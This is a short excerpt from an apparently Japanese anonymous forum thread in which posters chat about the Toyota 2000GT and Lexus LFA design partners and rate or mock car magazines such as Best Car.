そういえば２０００GTの時は設計も車体設計もヤマハが担当して
最初のデザインと販売担当をトヨタがやったんだけど
今回のLFAは車体設計はダイハツ　エンジンはヤマハの担当で
設計し取りまとめる能力は最初からないんだよね

>>974
どんな雑誌を買うのも自由だとは思うんだけど、ね。
ベストカーを読んでる人って何を楽しみにして買ってるの？

>>976
２６日号の登録台数だけ。
読み始めて２８年目だから惰性。

>>973
１冊売れてた。

スクープ
★☆☆☆☆

提灯持ち
★★★★★

内輪ウケ ★☆☆☆☆
　記者クラブのネタとか
だらだら載せているけど、そんな話誰も関心ないぜ
単なる相手にされていない三流自動車雑誌のねたみ、ヒガミだろ
　そのくせ
「××大臣の記者会見に参加しました」だとか
ブログに写真載せてはしゃいで
提灯持ち ★★★★★

追求せよ

〜 BSAへの通報を端緒とする和解としては世界最高額の3億1千5百万円 〜
http://namidame.2ch.net/test/read.cgi/kcar/1248522489/595

>>974
オートサウンド読むの挫折しました。もう買いません。